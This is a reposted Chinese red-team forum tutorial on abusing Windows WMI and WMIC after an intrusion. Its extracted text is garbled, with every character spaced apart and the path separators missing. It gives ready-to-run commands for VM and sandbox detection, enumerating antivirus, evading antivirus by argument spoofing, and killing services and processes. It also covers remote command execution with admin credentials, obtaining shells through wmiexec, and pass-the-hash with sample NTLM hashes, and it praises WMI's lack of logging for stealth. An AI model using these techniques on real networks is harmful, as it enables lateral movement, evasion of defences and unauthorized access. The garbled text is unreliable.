搜索

[27369] 2021-07-28_关于后渗透中的WMI

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-19
2021-07-28_关于后渗透中的WMI 关 于 后 渗 透 中 的 W M I 原 创   T u b a i   N E O 攻 防 队   2 0 2 1 - 0 7 - 2 8 前 言 前 言 W M I 是 W i n d o w s 操 作 系 统 上 W B E M 和 C I M 标 准 的 实 现 ， 允 许 用 户 、 管 理 员 和 开 发 人 员 （ 包 括 攻 击 者 ） 在 操 作 系 统 中 对 各 种 托 管 组 件 进 行 遍 历 、 操 作 和 交 互 。 具 体 而 言 ， W M I 提 供 了 一 个 抽 象 的 、 统 一 的 面 向 对 象 模 型 ， 从 而 不 再 需 要 直 接 与 许 多 不 相 关 的 A P I 进 行 交 互     W M I 的 一 个 重 要 特 性 是 能 够 使 用 D C O M 或 W i n R M 协 议 与 远 程 机 器 的 W M I 模 块 进 行 交 互 ， 它 允 许 管 理 员 轻 松 的 获 取   W i n d o w s   系 统 的 配 置 信 息 。 简 而 言 之 ， 它 是   W i n d o w s   中 的 一 个 核 心 管 理 技 术 ， 提 供 了 一 个 抽 象 的 、 统 一 的 面 向 对 象 模 型 。 A T T A C K 矩 阵 中 也 早 有 对 此 类 攻 击 的 介 绍 ： W M I 信 息 收 集 信 息 收 集 我 们 是 可 以 通 过 p o w e r s h e l l 来 调 用 W M I 的 P o w e r S h e l l 有 个 C m d l e t 调 用 W M I ， 可 以 结 合 " " 以 及 一 些 其 他 参 数 进 行 使 用 简 单 用 法 ： 使 用   可 以 列 出 所 有 的   W M I 对 象 的 类 - c l a s s   < W M I - C l a s s > G e t - W m i O b j e c t   - L i s t
那 么 可 以 遵 循 p o w e r s h e l l 中 C m d l e t 动 词 加 名 词 特 性 ， 获 取 一 些 我 们 想 要 的 信 息 。 例 如 查 询 一 下 主 机 的 C P U 信 息 ： G e t - W m i O b j e c t   w i n 3 2 _ p r o c e s s o r 还 可 以 进 行 简 单 的 沙 箱 规 避 ： P S   C : W i n d o w s s y s t e m 3 2 >   $ a = " S E L E C T   *   f r o m   w i n 3 2 _ c o m p u t e r s y s t e m " 注 意 ： 这 里 的 S E L E C T   *   f r o m 不 是 我 们 熟 知 的 s q l 语 句 ， 他 是 W Q L ， 是 W M I 中 的 查 询 语 言 ， W Q L 的 全 称 是 W M I   Q u e r y   L a n g u a g e ， 简 称 为 W Q L ， 翻 译 成 中 文 为 W i n d o w s 管 理 规 范 查 询 语 言 ， 他 没 有 I N S E R T 和 U P D A T E , 它 只 有 S E L E C T . P S   C : W i n d o w s s y s t e m 3 2 >   G e t - W m i O b j e c t   - q u e r y   $ a 如 此 利 用 w m i 测 试 出 这 台 机 器 是 V M 虚 拟 机 。
为 什 么 w m i 会 为 我 们 提 供 统 一 的 接 口 让 我 们 去 获 取 这 些 信 息 ？ 因 为 微 软 为 w m i 提 供 了 一 个 类 库 ， 所 以 我 们 这 些 软 件 厂 商 ， 硬 件 厂 商 会 把 自 己 的 相 应 软 硬 件 信 息 准 备 成 相 应 的 类 ， 然 后 把 类 放 入 库 当 中 。 对 于 类 来 说 ， 依 据 不 同 的 软 件 或 硬 件 ， 它 有 一 个 叫 做 命 令 空 间 的 东 西 ， 通 过 命 令 空 间 的 方 式 去 组 织 类 ， 比 如 命 令 空 间 会 有 一 种 层 级 的 结 构 ， 下 面 我 们 进 入 w m i m g m t . m s c 直 观 的 去 理 解 一 下 。 控 制 台 打 开 w m i m g m t . m s c 查 看 一 下 w m i 类 库 添 加 本 地 计 算 机 即 可
连 接 右 击 属 性 可 以 发 现 给 我 们 展 现 了 当 前 计 算 机 的 相 应 信 息 我 们 直 接 进 w m i 目 录 C : W i n d o w s S y s t e m 3 2 w b e m
我 们 可 以 看 到 很 多 m o f 文 件 ， 实 际 上 这 就 是 我 们 不 同 的 产 品 组 ， 它 去 开 发 自 己 类 库 的 时 候 ， 最 终 封 装 成 的 m o f 文 件 。 我 们 现 在 回 到 控 件 ， 如 此 一 目 了 然 ， 他 就 是 这 种 层 级 的 类 库 形 式 ， 红 色 箭 头 是 这 些 各 种 各 样 的 命 令 空 间 ， 绿 色 箭 头 是 在 我 们 命 名 空 间 中 相 应 的 类 。 W M I C 了 解 W M I 基 础 的 一 些 知 识 后 ， 我 们 来 认 识 一 下 热 门 的 W M I C 。
W M I C 扩 展 W M I （ W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n ， W i n d o w s 管 理 工 具 ）   ， 提 供 了 从 命 令 行 接 口 和 批 命 令 脚 本 执 行 系 统 管 理 的 支 持 ， w m i c 就 是 w m i c . e x e ， 位 于 w i n d o w s 目 录 底 下 ， 是 一 个 命 令 行 程 序 。 W M I C 可 以 以 两 种 模 式 执 行 ： 交 互 模 式 ( I n t e r a c t i v e   m o d e ) 和 非 交 互 模 式 使 用 W M I C ， 你 不 但 可 以 管 理 本 地 计 算 机 ， 而 且 可 以 管 理 同 一 W i n d o w s 域 内 的 所 有 远 程 计 算 机 ( 需 要 必 要 的 权 限 ) ， 而 被 管 理 的 远 程 计 算 机 不 必 事 先 安 装 W M I C ， 只 需 要 支 持 W M I 即 可 。 具 体 实 现 就 是 这 个 w m i c . e x e   , 他 位 于 w i n d o w s 目 录 底 下 ， 是 一 个 命 令 行 程 序 。 C : W i n d o w s S y s t e m 3 2 w b e m W M I C . E X E 利 用 利 用 W M I C 进 行 信 息 收 集 进 行 信 息 收 集 我 们 完 全 可 以 用 c m d 下 来 进 行 信 息 收 集 ， 例 如 查 当 前 用 户 ， 机 器 在 不 在 域 内 等 等 ， 为 什 么 多 此 一 举 用 W M I 呢 ？ 因 为 我 们 可 能 会 遇 到 态 势 感 知 这 个 东 西 ， 我 们 在 对 方 机 器 如 果 执 行 一 些 n e t   u s e r 的 操 作 ， 这 段 语 句 总 要 在 网 络 中 进 行 传 输 ， 如 果 这 段 语 句 被 严 格 监 控 ， 那 么 只 要 触 发 他 就 可 能 会 被 报 “ 您 已 经 被 攻 击 ” 。 W M I 它 有 好 处 的 话 就 是 他 可 以 改 变 格 式 ， 可 以 加 一 些 过 滤 信 息 ， 攻 击 者 使 用 w m i 来 进 行 攻 击 ， 但   W i n d o w s   系 统 默 认 不 会 在 日 志 中 记 录 这 些 操 作 ， 可 以 做 到 无 日 志 ， 攻 击 脚 本 无 需 写 入 到 磁 盘 ， 增 加 了 隐 蔽 性 。 渗 透 中 渗 透 中 w m i c 一 些 常 用 命 令 一 些 常 用 命 令 w m i c   u s e r a c c o u n t   W H E R E   " N a m e = ' % u s e r n a m e % ' "   s e t   P a s s w o r d E x p i r e s = f a l s e / / 设 置 用 户 永 不 超 期 w m i c   s t a r t u p   l i s t   b r i e f / / w m i c 获 取 自 启 信 息 w m i c   v o l u m e   l i s t   b r i e f / / w m i c 获 取 磁 盘 分 区 信 息 w m i c   u s e r a c c o u n t   l i s t   f u l l / / w m i c 获 取 用 户 信 息 w m i c   s e r v i c e   l i s t   f u l l / / w m i c 获 取 服 务 信 息 w m i c   S E R V I C E   w h e r e   n a m e = " d h c p "   c a l l   s t o p s e r v i c e / / w m i c 关 闭 服 务 w m i c   D E S K T O P M O N I T O R   g e t   S c r e e n H e i g h t , S c r e e n W i d t h / / w m i c 获 取 屏 幕 分 辨 率 w m i c   p r o c e s s   w h e r e   p r o c e s s i d = " 3 6 5 2 "   d e l e t e / / w m i c 关 闭 进 程 w m i c   p r o c e s s   2 3 4 5   c a l l   t e r m i n a t e / / w m i c 关 闭 进 程 w m i c   p r o c e s s   w h e r e   n a m e = " q q . e x e "   c a l l   t e r m i n a t e / / w m i c 关 闭 进 程 w m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n / / w m i c 获 取 补 丁 安 装 时 间 w m i c   p r o c e s s   w h e r e   n a m e = " C o n s o l e A p p l i c a t i o n . e x e "   g e t   E x e c u t a b l e P a t h / / 查 看 进 程 的 位 置 w m i c . e x e   / n o d e : i p   / u s e r : l o c a l h o s t a d m i n i s t r a t o r   / p a s s w o r d : " p a s s w o r d "   P R O C E S S   c a l l   c r e a t e   " c m d   / c   w h o a m i " t y p e   1 9 c $ W i n d o w s r e s . d l l / / 远 程 命 令 执 行 w m i c   q f e   g e t   h o t f i x i d / / 查 看 补 丁 情 况 例 如 ， 枚 举 出 目 标 系 统 安 装 的 反 病 毒 产 品 信 息 ， 包 括 安 装 位 置 和 版 本 ：
w m i c   / n a m e s p a c e : r o o t s e c u r i t y c e n t e r 2   p a t h   a n t i v i r u s p r o d u c t   G E T   d i s p l a y N a m e , p r o d u c t S t a t e ,   p a t h T o S i g n e d P r o d u c t E x e 当 然 碰 到 某 些 杀 软 告 警 时 候 ， 可 以 进 行 一 些 简 单 参 数 欺 骗 来 实 现 小 小 的 b y p a s s ， 思 路 颇 多 。 w m i c   p r o c e s s   c a l l   c r e a t e   c a l c     简 单 弹 个 计 算 器 被 拦 w m i c   p r o c e s s   c a l l   " c r e a t e "   " c a l c "   简 单 的 参 数 欺 骗 后 便 弹 出 来 了 横 向 移 动 横 向 移 动 使 用 W M I C 连 接 远 程 主 机 需 要 具 备 条 件 ：
1 .   远 程 服 务 器 启 动 服 务 （ 默 认 开 启 ）   端 口 未 被 过 滤   [ 默 认 配 置 下 目 标 主 机 防 火 墙 开 启 将 无 法 连 接 默 认 配 置 下 目 标 主 机 防 火 墙 开 启 将 无 法 连 接 ] 连 接 失 败 的 常 见 错 误 号 ： 1 . 开 启 防 火 墙 时 ， 允 许 共 享 例 外 错 误 : 代 码   =   0 x 8 0 0 7 0 6 b a 说 明   =   R P C   服 务 器 不 可 用 。 设 备   =   W i n 3 2 2 . 组 策 略 阻 止 a d m i n i s t r a o t r 远 程 访 问 时 错 误 : 代 码   =   0 x 8 0 0 7 0 0 0 5 说 明   =   拒 绝 访 问 。 设 备   =   W i n 3 2 3 . I P 安 全 策 略 阻 止 1 3 5 时 错 误 : 代 码   =   0 x 8 0 0 7 0 6 b a 说 明   =   R P C   服 务 器 不 可 用 。 设 备   =   W i n 3 2 4 . 禁 用 w i n m g m t 服 务 时 错 误 : 代 码   =   0 x 8 0 0 7 0 4 2 2 说 明   =   无 法 启 动 服 务 ， 原 因 可 能 是 已 被 禁 用 或 与 其 相 关 联 的 设 备 没 有 启 动 。 设 备   =   W i n 3 2 5 . 拒 绝 w b e m 目 录 权 限 ， 无 法 使 用 w m i c 的 列 出 远 程 主 机 进 程 ： 列 出 了 1 9 2 . 1 6 8 . 5 2 . 1 2 9 这 台 主 机 的 进 程 信 息 w m i c   / n o d e : 1 9 2 . 1 6 8 . 5 2 . 1 2 9   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d : P a s s w o r d ! !   p r o c e s s   l i s t   b r i e f 远 程 创 建 进 程 ： 在 目 标 机 器 1 9 2 . 1 6 8 . 5 2 . 1 2 9 成 功 执 行 了 系 统 命 令 并 输 出 " t u b a i . t x t " ， 在 目 标 指 定 目 录 可 以 发 现 文 件 。 W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n 2 .   1 3 5
w m i c   / n o d e : 1 9 2 . 1 6 8 . 5 2 . 1 2 9   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d : P a s s w o r d ! !   p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   i p c o n f i g   >   c : t u b a i . t x t " w m i e x e c . v b s   自 带 的 w m i c 没 有 回 显 ， w m i e x e c . v b s   脚 本 利 用 W M I 服 务 ， 通 过 写 入 临 时 文 件 并 读 取 的 方 式 获 得 回 显 。 c s c r i p t   w m i e x e c . v b s   / s h e l l   1 9 2 . 1 6 8 . 5 2 . 1 2 9   a d m i n i s t r a t o r   P a s s w o r d ! ! 可 以 看 到 ， 我 们 得 到 了 一 个 半 交 互 式 s h e l l 。 i m p a c k e t 套 件 套 件 i m p a c k e t 套 件 是 通 过 4 4 5 端 口 进 行 通 信 的 ， 不 是 1 3 5 端 口 。 我 们 这 次 用 w i n d o w s 下 的 i m p a c k e t ， 已 经 有 前 人 把 他 转 成 e x e 了 。 W i n d o w s 下   h t t p s : / / g i t h u b . c o m / m a a a a z / i m p a c k e t - e x a m p l e s - w i n d o w s 成 功 得 到 目 标 主 机 s h e l l ：
w m i e x e c . e x e   a d m i n i s t r a t o r : P a s s w o r d ! ! @ 1 9 2 . 1 6 8 . 5 2 . 1 2 9 哈 希 传 递 获 得 s h e l l ： 当 抓 到 的 密 码 N T L M 解 不 开 咋 办 呢 ？ 老 生 常 谈 的 问 题 了 ， 我 们 也 可 以 利 用 i m p a c k e t 中 w m i e x e c 达 到 哈 希 传 递 的 效 果 来 获 得 一 个 s h e l l 。 命 令 格 式 为 ： w m i e x e c . e x e   - h a s h e s   L M 哈 希 ： N T L M 哈 希   域 名 / 用 户 名 @ 目 标 I P w m i e x e c . e x e   - h a s h e s   e 5 2 c a c 6 7 4 1 9 a 9 a 2 2 a 6 7 a 4 4 8 8 2 2 b 5 0 c 9 9 : 2 b 0 7 f 7 b 5 7 9 b b 9 7 5 3 2 a 9 e b 3 7 7 5 3 7 6 5 d 8 f   t u b a i / a d m i n i s t r a t o r @ 1 9 2 . 1 6 8 . 5 2 . 1 2 9 参 考 参 考 h t t p s : / / w w w . s e 7 e n s e c . c n / 2 0 2 0 / 0 7 / 1 2 / h t t p s : / / b l o g . c s d n . n e t / q q _ 2 7 4 4 6 5 5 3 / a r t i c l e / d e t a i l s / 4 6 0 0 8 4 7 3 总 结 总 结 随 着 p o w e r s h e l l 出 现 占 据 了 系 统 管 理 主 流 地 位 ， 但 不 可 否 认 W M I 依 旧 是 W I N D O W S 系 统 管 理 的 利 器 ， 他 在 后 渗 透 中 的 用 法 也 不 是 我 的 一 篇 浅 文 能 够 概 过 的 ， 本 篇 文 章 从 w m i 基 础 知 识 出 发 ， 延 伸 到 我 们 所 熟 知 的 横 向 移 动 姿 势 ， 希 望 能 给 阅 读 的 师 傅 带 来 帮 助 ， 若 文 章 有 任 何 问 题 望 各 位 师 傅 斧 正 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理